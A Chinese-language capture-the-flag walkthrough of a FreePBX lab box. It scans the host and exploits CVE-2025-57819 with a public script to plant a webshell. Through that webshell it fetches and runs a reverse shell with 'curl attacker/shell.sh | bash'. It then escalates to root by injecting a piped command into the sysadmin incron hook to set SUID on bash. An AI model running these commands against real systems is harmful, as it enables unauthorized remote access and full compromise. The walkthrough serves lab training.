CVE-2025-57819 利用与 Incron 提权链
练习
信息收集
nmap -O -A 10.129.55.213
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-08 16:38 +08
Nmap scan report for 10.129.55.213
Host is up (0.11s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| http-title: 404 Not Found
|_Requested resource was config.php
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
| http-robots.txt: 1 disallowed entry
|_/
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%), OpenWrt 21.02 (Linux 5.4) (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 129.63 ms 10.10.16.1
2 129.79 ms 10.129.55.213
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.75 seconds查看页面
看一下指纹
whatweb http://connected.htb/admin/config.php
http://connected.htb/admin/config.php [200 OK] Apache[2.4.6], Bootstrap[3.3.7], Cookies[PHPSESSID,lang], Country[RESERVED][ZZ], Google-Analytics[Universal][UA-1862516-7], HTML5, HTTPServer[CentOS][Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16], IP[10.129.55.213], JQuery[3.1.1], OpenSSL[1.0.2k-fips], PHP[7.4.16], PasswordField[password], Script[text/javascript], Title[FreePBX Administration], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/7.4.16]是一个 FreePBX 直接去找cve
漏洞利用
直接找cve进行利用
https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
python CVE-2025-57819.py -H http://connected.htb/
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-FreePBX-CVE-2025-57819.py
(*) CVE-2025-57819 Detection Artifact Generator: FreePBX Auth Bypass + SQL Injection to RCE
- Piotr and Sonny of watchTowr
[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-1viffvukaq.php?cmd=hostname
[+] Cleaning.sh malicious cron_job - please confirm manually that there is no malicious entries in asterisk.cron_jobs table成功写入shell,直接反弹shell就可以了,首先在本地写个shell脚本![]()
然后在当前目录下开启http服务
python -m http.server 80要在本地监听
nc -lvnp 443然后执行反弹shell命令
curl http://connected.htb/this-is-an-ioc-not-actually-watchTowr-1viffvukaq.php?cmd=curl%2010.10.16.31%2Fshell.sh%20%7C%20bash
成功拿到权限
权限提升linpeas incron(基于文件事件触发命令的cron)
![]()
发现root执行的服务
别分是监控路径,事件类型,触发命令,这里主要是看 /usr/bin/sysadmin_manager
cat /usr/bin/sysadmin_manager
cat /usr/bin/sysadmin_manager
#!/usr/bin/php
<?php
namespace Sysadmin;
//
// Secure Sysadmin Hook Service
// Copyright 2018 Sangoma Technologies
//
//////////////////////////////////////////////////////////////////
// This file is DELIBERATELY left un-encoded to assist security //
// researchers, and to allow people to add their own keys if //
// required. If you have questions or comments, please email //
// them to security@freepbx.org or on #freepbx on Freenode. //
//////////////////////////////////////////////////////////////////
//
// This is NOT FREE SOFTWARE. You are NOT PERMITTED to modify
// or redistribute this code. All rights are reserved.
//
openlog("sysadmin-hook", LOG_PID | LOG_PERROR, LOG_CRON);
// Verify that our 'includes' file is correct
if (!file_exists("/usr/lib/sysadmin/includes.php")) {
$err = "Unable to open /usr/lib/sysadmin/includes.php";
syslog(LOG_ERR, $err);
print "$err\n";
exit;
}
// This hash is automatically updated when the RPM is built. If
// this is not matching, reinstall the RPM.
$includeshash = "4b04888e0c323dacc57836beb1d5e1890a00eafd431b3288519fb8644aedd358";
$hashalgo = "sha256";
if (hash_file($hashalgo, "/usr/lib/sysadmin/includes.php") !== $includeshash) {
$err = "File /usr/lib/sysadmin/includes.php has been tampered. Reinstall sysadmin RPM.";
syslog(LOG_ERR, $err);
print "$err\n";
exit;
}
require '/usr/lib/sysadmin/includes.php';
// These are the keys that are allowed to run root hooks.
$whitelist = array(
"9F9169F4B33B4659" => "FreePBX Master Key",
"86CE877469D2EAD9" => "Signing Server 1 (2014-2020)",
"3DDB2122FE6D84F7" => "Signing Server Backup (2014-2020)",
"1588A7366BD35B34" => "FreePBX Master Key v2",
"B53D215A755231A3" => "Mirror Server",
"E5413049B80EA480" => "Jason Parker <jparker@sangoma.com> (Developer, Sangoma)",
"5803D408E0FB9844" => "Matt Brooks <mbrooks@digium.com> (Developer, Sangoma)",
"8ED515BA06CD38AD" => "FreePBX QA Module Signing <qa@sangoma.net>",
);
if (!isset($argv[1])) {
syslog(LOG_ERR, "Need a hook param, not supplied.");
exit;
}
if ($argv[1] == "--local") {
$request = $argv[2];
$filename = "/usr/local/asterisk/incron/$request";
} else {
$request = $argv[1];
$filename = "/var/spool/asterisk/incron/$request";
}
syslog(LOG_DEBUG, "sysadmin hook started - ".json_encode($argv));
// Delete the file.
if (!file_exists($filename)) {
syslog(LOG_WARNING, "File '$filename' didn't exist. That's unpossible (Are you running incron commands manually?)");
$fh = fopen("/dev/null", "r");
} else {
// Open a file handle against this file before deleting it, in case we need
// the contents later.
$fh = fopen($filename, "r");
unlink($filename);
}
// Validate it matches the format of modulename_hookname, or modulename.hookname.params
if (!preg_match('/^(\w+)_([\w-]+)$/', $request, $parts)) {
// No? How about modulename.hookname.params?
if (!preg_match('/^([\w_]+)\.([\w-]+)(?:\.(.+))?$/', $request, $parts)) {
syslog(LOG_ERR, "Invalid hook format");
exit;
}
}
$module = $parts[1];
$hook = $parts[2];
// Were there params?
if (isset($parts[3])) {
// Is this the magic string 'CONTENTS'? If so, load the contents
// from our file handle (up to 4k)
if ($parts[3] === "CONTENTS") {
$params = fread($fh, 4096);
} else {
$params = $parts[3];
}
} else {
$params = "";
}
fclose($fh);
// Is this a core system hook? These aren't stored with modules,
// and are used in things like HA, for emergency repairs.
// These are triggered as SYSTEM.hookname. Must be caps.
if ($module == "SYSTEM") {
$sigfile = "/usr/local/asterisk/$hook.sig";
$hookfile = "/usr/local/asterisk/$hook";
} else {
// We have to work under the assumption that MODDIR is
// /var/www/html/admin/modules/ - we can't ask FreePBX,
// as it may be compromised.
$sigfile = "/var/www/html/admin/modules/$module/module.sig";
$hookfile = "/var/www/html/admin/modules/$module/hooks/$hook";
}
if (!file_exists($sigfile)) {
syslog(LOG_ERR, "Can't find signature file '$sigfile'");
exit;
}
if (!file_exists($hookfile)) {
syslog(LOG_ERR, "Invalid hook when looking for '$hookfile'");
exit;
}
// Included in /usr/lib/sysadmin/includes.php
$g = new \Sysadmin\GPG();
$verify = $g->checkSig($sigfile);
if (!isset($verify['hashes'])) {
syslog(LOG_ERR, "Module tampered. No hashes from $module/module.sig. Can't proceed");
exit;
}
// Is our module signed by one of the whitelisted keys?
if (!isset($verify['config']['signedwith'])) {
syslog(LOG_ERR, "Strange result from GPG checkSig");
exit;
}
$signedwith = $verify['config']['signedwith'];
if (!isset($whitelist[$signedwith])) {
syslog(LOG_ERR, "Module signed by key not in whitelist.");
exit;
}
// Awesome. We now have a valid module. Let's make sure that the file we're
// being asked to run is actually IN the module.sig file. If it's a SYSTEM
// file, it will have the complete path in the file. If it's a non-system
// file, it will have a relative path.
if ($module == "SYSTEM") {
$signame = $hookfile;
} else {
$signame = "hooks/$hook";
}
// Does it exist?
if (!isset($verify['hashes'][$signame])) {
syslog(LOG_ERR, "Hook $signame not in signature file $sigfile");
exit;
}
// Finally, has that file been tampered?
if (hash_file('sha256', $hookfile) !== $verify['hashes'][$signame]) {
syslog(LOG_ERR, "Hash mismatch of $hookfile. Can't run");
exit;
}
// Lucky last. Did someone derp, and release a broken module that
// haxx0rz are using? Let's make sure that they can't recycle that
// signature file as a system one.
if ($module == "SYSTEM") {
if ($verify['config']['type'] != "system") {
syslog(LOG_ERR, "Tried to load a system hook, but signature isn't a system signature?");
exit;
}
}
// WOOT! Before we actually do anything, ensure there's nothing nasty on the params.
// Warning: This explicitly breaks utf8. If you need unicode, base64 it.
if (preg_match('/[^\x20-\x7e]/', $params, $out)) {
syslog(LOG_ERR, "Out of spec char in params $params, ".json_encode($out));
exit;
}
// Extra double sanity check.
if (preg_match('/[`\'"$><&;]/', $params)) {
syslog(LOG_ERR, "Detected invalid char in params. You must use base64 to pass unusual chars to a hook.");
exit;
}
if (!is_executable($hookfile)) {
syslog(LOG_ERR, "'$hookfile' is not executable. Can not run.");
exit;
}
syslog(LOG_DEBUG, "Security check passed. Running '$hookfile $params'");
system("$hookfile $params");然后根据这个漏洞来使用payload
printf '|id|tee /tmp/pwn' >/var/spool/asterisk/incron/sysadmin.dump-iptables.CONTENTS然后查看这个pwn文件,看看是否返回
printf '|chmod +s /bin/bash' >/var/spool/asterisk/incron/sysadmin.dump-iptables.CONTENTS最后执行
bash -p
成功拿到root权限